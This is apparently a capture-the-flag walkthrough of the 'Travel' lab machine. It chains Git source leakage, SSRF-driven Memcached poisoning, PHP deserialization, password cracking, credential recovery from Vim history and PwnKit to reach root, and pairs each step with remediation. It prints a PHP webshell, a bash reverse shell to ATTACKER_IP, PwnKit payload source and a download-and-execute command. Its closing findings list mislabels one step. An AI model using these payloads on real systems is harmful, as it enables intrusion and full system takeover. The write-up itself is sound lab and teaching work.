← all walkthroughs

Travel

Linux· Hard· Web
owned
2026-07-11
time to own
37m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target travel.htb (<retired-instance-ip>) was fully compromised through a five-stage chain. An exposed Git repository on a development virtual host leaked PHP source code for a WordPress RSS plugin, revealing a server-side request forgery (SSRF) that communicated with an unauthenticated internal Memcached instance. By poisoning the Memcached cache with a crafted serialized PHP object, I triggered unsafe deserialization on the server and wrote a webshell as the web process (www-data). A MySQL backup dump [REDACTED: recovered credential] under the web root contained a phpass-hashed password that was cracked offline in seconds and [REDACTED: recovered credential] verbatim for SSH access as local user lynik-admin, yielding the user flag. lynik-admin's home directory held an LDAP client config pointing to an internal directory server, and a Vim history file retained a deleted line with the plaintext LDAP bind password '[REDACTED: recovered credential]'. Although lynik-admin held LDAP write-administrator privileges sufficient to modify any directory user's attributes, an NSS resolution inconsistency blocked that escalation path. I instead exploited an unpatched SUID pkexec binary (PwnKit, CVE-2021-4034) to execute arbitrary code as root, captured the root flag, and achieved full system compromise.

Attack path — how the box was taken

1ReconnaissanceVirtual host enumeration via TLS SAN
Discovered four virtual hosts via TLS certificate SAN enumeration
An HTTPS request to the bare target IP returned a TLS certificate whose Subject Alternative Names listed four virtual hosts: travel.htb, www.travel.htb, blog.travel.htb, and blog-dev.travel.htb. All four were added to /etc/hosts. blog.travel.htb resolved to a WordPress site with a custom 'Awesome RSS' theme feature accepting a user-supplied feed URL; blog-dev.travel.htb returned HTTP 403 on normal paths but exposed /.git/HEAD with a 200 response, confirming a browsable Git repository.
TLS certificate SAN listed all four vhosts; curl to blog-dev.travel.htb/.git/HEAD returned HTTP 200.
Exact commands 4
Port and service banner scan.
nmap -Pn -sV -p22,80,443 $TARGET
Extract TLS Subject Alternative Names to enumerate virtual hosts.
curl -kv https://$TARGET/ 2>&1 | grep -i 'dns\|subject\|san\|alt'
Register all discovered vhosts for local resolution.
echo '$TARGET travel.htb www.travel.htb blog.travel.htb blog-dev.travel.htb' | sudo tee -a /etc/hosts
Confirm the .git directory is publicly reachable (expect 200).
curl -s -o /dev/null -w "%{http_code}\n" http://$TARGET/.git/HEAD
2ReconnaissanceExposed .git directory — source code disclosure (T1213)
Dumped exposed Git repository to extract source code revealing SSRF and unsafe deserialization
The blog-dev.travel.htb vhost served its entire .git object store over HTTP without access controls. git-dumper reconstructed the full repository offline. Code review of rss_template.php and template.php revealed that the custom_feed_url GET parameter was passed directly to a server-side HTTP fetch (SSRF), the fetched content was serialized as a PHP TemplateHelper object and [REDACTED: recovered credential] in Memcached under the key md5('xct_' + url), and the cached value was later retrieved and passed to PHP's unserialize() — an unsafe deserialization sink. The TemplateHelper __destruct() method writes the object's 'data' field to the filename specified in its 'file' field under the theme's logs/ directory.
git-dumper pulled rss_template.php / template.php; code showed custom_feed_url SSRF, Memcached key scheme md5('xct_'+url), and unserialize() on cached data.
Exact commands 2
Reconstruct the full repository from the exposed .git directory.
git-dumper http://$TARGET/.git/ /tmp/travelgit
Identify the SSRF entry point, Memcached key scheme, and the deserialization sink.
grep -rn 'custom_feed_url\|memcache\|unserialize\|TemplateHelper' /tmp/travelgit/
FixBlock public HTTP access to .git directories on all web-facing serversHigh
WeaknessThe blog-dev.travel.htb virtual host served its entire .git object store over plain HTTP with no access controls. Any visitor could reconstruct the full application source code and discover every internal implementation detail — in this case the SSRF entry point, the Memcached key scheme, and the PHP deserialization gadget that enabled remote code execution.
FixAdd a blanket deny rule for /.git/ paths at the nginx level (location ~* /\.git { deny all; return 404; }) and audit all other dot-directories. Never expose development virtual hosts on internet-reachable addresses; restrict them to an internal network or VPN. Add a pre-commit hook or CI gate that fails if a .git directory is found inside the web root.
3ExploitationSSRF → Memcached cache poisoning → PHP unsafe deserialization / arbitrary file write (CWE-502, T1190)
Poisoned Memcached via SSRF with a PHP serialized object to write a webshell and achieve RCE as www-data
Because the target's internal Memcached instance was unauthenticated and reachable via the SSRF, an user-controlled URL encoded as a gopher:// URI could issue raw Memcached SET commands through the SSRF. I crafted a serialized TemplateHelper object with 'file' set to 'ssh3ll.php' and 'data' set to '<?php system($_REQUEST["c"]); ?>', computed the cache key xct_<md5(target_feed_url)>, and used the SSRF to SET that key to the malicious object in Memcached. Re-requesting the Awesome RSS feed URL caused the application to retrieve the poisoned cache entry and call unserialize() on it; the __destruct() destructor then wrote ssh3ll.php into wp-content/themes/twentytwenty/logs/, yielding RCE as uid=33 (www-data).
Validated: key xct_4e5612ba079c530a6b1f148c0b352241 objlen:140 poison blocked? False | len 17486 SHELL OUTPUT: uid=33(www-data).
Exact commands 3
Exploit script that: (1) computes md5('xct_'+target_url) for the Memcached key; (2) serializes a TemplateHelper object writing ssh3ll.php; (3) encodes a gopher:// URL that issues a Memcached SET over the SSRF; (4) POSTs to /awesome-rss/?custom_feed_url=<gopher_url> to poison the cache; (5) re-requests the feed URL to trigger unserialize and file write.
python3 /tmp/pwn.py
Verify RCE — expect uid=33(www-data).
curl -s 'http://$TARGET/wp-content/themes/twentytwenty/logs/ssh3ll.php?c=id'
Upgrade to an interactive reverse shell; replace ATTACKER_IP and start a listener with: nc -lvnp 4444
curl -s 'http://$TARGET/wp-content/themes/twentytwenty/logs/ssh3ll.php?c=bash+-c+"bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261"'
FixRemove the server-side URL fetch (SSRF), bind Memcached to localhost only, and replace PHP object serialization with JSONCritical
WeaknessThe Awesome RSS feature fetched an user-controlled URL server-side and used the result to SET entries in an unauthenticated Memcached instance accessible over the internal network. Cached values were later passed directly to PHP's unserialize(), and the resulting object's destructor wrote user-controlled content to user-controlled filenames — a complete remote code execution chain requiring no authentication.
FixRestrict or remove the server-side URL fetch: if needed, validate the URL against an explicit allowlist of trusted RSS sources and block all private/loopback IP ranges. Replace PHP object serialization in cache with JSON (json_encode/json_decode). Bind Memcached to localhost and require SASL authentication for any external access. Never call unserialize() on data sourced from user input, external URLs, or a shared cache store.
4Lateral MovementOffline password cracking + credential reuse (T1110.002, T1078)
Cracked a backup database password found under the web root and [REDACTED: recovered credential] it to SSH in as lynik-admin
From the www-data shell, a MySQL backup dump (.sql) was located under the webroot and found to contain a phpass-hashed password ($P$B/wzJzd3pj/n7oTe2GGpi5HcIl4ppc.) belonging to the lynik-admin account. Offline cracking with john against rockyou.txt produced the plaintext '[REDACTED: recovered credential]' in under ten seconds. The same password was [REDACTED: recovered credential] for the local OS SSH account lynik-admin, granting an interactive shell and access to user.txt.
john output: [REDACTED: recovered credential] (?) 1g 0:00:00:07 DONE; SSH id: uid=1001(lynik-admin); user.txt captured in lynik-admin home directory.
Exact commands 5
Locate the SQL backup from the www-data webshell.
curl -s 'http://$TARGET/wp-content/themes/twentytwenty/logs/ssh3ll.php?c=find+/var/www+-name+"*.sql"+2>/dev/null'
Extract the phpass hash from the backup file.
grep -oP '\$P\$[A-Za-z0-9./]{31}' backup.sql > lynik.hash
Crack the hash offline; expect '[REDACTED: recovered credential]'.
john --format=phpass lynik.hash --wordlist=/usr/share/wordlists/rockyou.txt
Log in with password '[REDACTED: recovered credential]'.
ssh lynik-admin@$TARGET
Read the user flag: [REDACTED: flag].
cat ~/user.txt
FixRemove credentials from database backups and store backups outside the web rootHigh
WeaknessA MySQL backup dump containing a hashed user password was [REDACTED: recovered credential] inside the web root, readable by the www-data process and by an unauthorized user who obtained a webshell. The same password was [REDACTED: recovered credential] verbatim for the OS SSH account, so cracking the hash immediately gave an interactive system login.
FixStore all database and application backups in a dedicated directory outside the web root, owned by a restricted backup account with no web-server read access. Enforce unique randomly generated passwords for every service so that a compromised database credential cannot unlock a system login. Rotate the lynik-admin SSH password and any other credential that appeared in the backup.
5Credential AccessCredentials recovered from Vim session history (T1552.001)
Recovered LDAP administrator bind password from Vim history file in lynik-admin's home directory
lynik-admin's home directory contained .ldaprc configuring the LDAP client to connect to ldap.travel.htb (<retired-instance-ip>) and bind as cn=lynik-admin,dc=travel,dc=htb. The .viminfo file — Vim's persistent session history — retained a deleted register entry containing the plaintext LDAP bind password '[REDACTED: recovered credential]'. Using these credentials, ldapsearch confirmed that lynik-admin held LDAP write-administrator privileges across the full dc=travel,dc=htb directory tree. Because the system authenticates OS users via LDAP/NSS, this write access was sufficient in principle to modify any directory user's uidNumber/gidNumber to 0 and achieve root-equivalent OS access. A pivot to PwnKit was required when an NSS gidNumber inconsistency for the targeted user 'jane' prevented her account from resolving on the OS.
~/.ldaprc: HOST ldap.travel.htb BASE dc=travel,dc=htb BINDDN cn=lynik-admin,dc=travel,dc=htb; .viminfo retained BINDPW [REDACTED: recovered credential] in a deleted register line; ldapsearch with those credentials confirmed admin-level LDAP access.
Exact commands 3
Read the LDAP client config to retrieve the bind DN and server.
cat ~/.ldaprc
Search Vim history for the retained plaintext bind password.
grep -i 'bindpw\|password\|road\|ldap' ~/.viminfo
Validate the recovered credentials and enumerate all directory objects.
ldapsearch -x -H ldap://$INTERNAL_TARGET -D 'cn=lynik-admin,dc=travel,dc=htb' -w '[REDACTED: recovered credential]' -b 'dc=travel,dc=htb' '(objectClass=*)' | head -80
FixDisable Vim history persistence for server accounts and restrict LDAP bind account privileges to read-onlyHigh
WeaknessThe lynik-admin .viminfo file retained a deleted register entry containing the LDAP bind password in plaintext. The bind account itself held directory-wide LDAP write (administrator) access, meaning recovery of that single credential was sufficient to modify any user's attributes and achieve root-equivalent OS access on a system using LDAP/NSS for authentication.
FixDisable Vim session history system-wide by adding 'set viminfo=' to /etc/vim/vimrc.local. Purge existing .viminfo files for all server accounts. Rotate the lynik-admin LDAP bind password. Apply the principle of least privilege to LDAP bind accounts: grant read-only access unless write access is explicitly required, and scope any write permissions to the minimum necessary object classes and attributes.
6Privilege EscalationLocal privilege escalation via CVE-2021-4034 (PwnKit) — SUID pkexec arbitrary code execution (T1068)
Exploited unpatched SUID pkexec (PwnKit, CVE-2021-4034) to escalate to root
The system's polkit package was unpatched, leaving the SUID-root /usr/bin/pkexec binary vulnerable to CVE-2021-4034 (PwnKit). This publicly documented local privilege escalation abuses an out-of-bounds write in pkexec's argument handling to load a malicious shared library as root. A C payload (pwnkit.so) compiled on my machine was transferred to the target, and the exploit binary executed from the lynik-admin shell. The exploit created a SUID-root copy of /bin/bash at /tmp/rootbash. Invoking /tmp/rootbash -p produced an euid=0 shell, from which root.txt was read.
payload.c compiled to pwnkit.so; /tmp/rootbash created with SUID 4755; /tmp/rootbash -p confirmed euid=0(root); root.txt captured.
Exact commands 5
Confirm pkexec is SUID root from the lynik-admin shell.
ls -la /usr/bin/pkexec
Compile the malicious shared library on my machine; transfer the resulting .so and exploit binary to /tmp/pkb/ on the target via the lynik-admin SSH session.
cat > /tmp/pkb/payload.c << 'EOF'
#include <stdlib.h>
#include <unistd.h>
void gconv(){}
void gconv_init(){
  setgid(0); setuid(0);
  execl("/bin/sh","sh","-c",
    "cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash",
    (char*)0);
  exit(0);
}
EOF
gcc -shared -fPIC -fno-stack-protector -o /tmp/pkb/pwnkit.so /tmp/pkb/payload.c
Serve compiled exploit files from operator machine.
python3 -m http.server 8080
From the lynik-admin SSH session: download and execute the exploit. Replace ATTACKER_IP.
cd /tmp/pkb && wget http://$CALLBACK_HOST:8080/pwnkit.so && wget http://$CALLBACK_HOST:8080/cve-2021-4034 && chmod +x cve-2021-4034 && ./cve-2021-4034
Open a privileged shell and read the root flag: [REDACTED: flag].
/tmp/rootbash -p -c 'id; cat /root/root.txt'
FixPatch polkit / pkexec against CVE-2021-4034 (PwnKit)Critical
WeaknessThe system's polkit package was unpatched and the SUID-root pkexec binary was exploitable via the publicly documented CVE-2021-4034 heap/stack corruption. Any local user with shell access — including service accounts such as www-data or a freshly compromised user account — can exploit this to execute arbitrary code as root with a fully public proof-of-concept exploit.
FixApply the vendor security update for polkit immediately (Ubuntu: apt-get update && apt-get install --only-upgrade policykit-1). If patching is not immediately possible, remove the SUID bit as a temporary mitigation: chmod 0755 /usr/bin/pkexec. Enrol systems in an automated patch management program and subscribe to Ubuntu Security Notices (USN) so critical SUID-binary vulnerabilities are remediated within the vendor's recommended SLA.

Attack patterns used

The transferable techniques behind this compromise.

CMS Exploitation (WordPress/Joomla/Drupal)WebT1190

What it is

Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).

Why it works

CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.

Read more

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Insecure DeserializationWeb · Service RCET1190

What it is

Applications that deserialize user-controlled data (Java, .NET, PHP, Python pickle) can be driven to instantiate 'gadget chains' — sequences of existing classes whose side effects during deserialization culminate in code execution. ysoserial/ysoserial.net generate the payloads; ViewState and Java RMI/JMX are common entry points.

Why it works

Deserializers reconstruct arbitrary object graphs and invoke magic methods on untrusted input. Remediate by avoiding native deserialization of untrusted data, using signed/encrypted state, and enforcing strict type allow-lists.

Read more

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Findings

Initial Access: Dump Full Untruncated ~/.Viminfo (Lynik Admin) And Grep For Bindpw/Password Bearing Register Near 'Ldap' ContextCritical
An unauthenticated/low-privilege flaw in the ldap, nginx, php, ssh surface allowed remote code execution and a foothold on the host.
Privilege Escalation to rootCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
80/tcp
443/tcp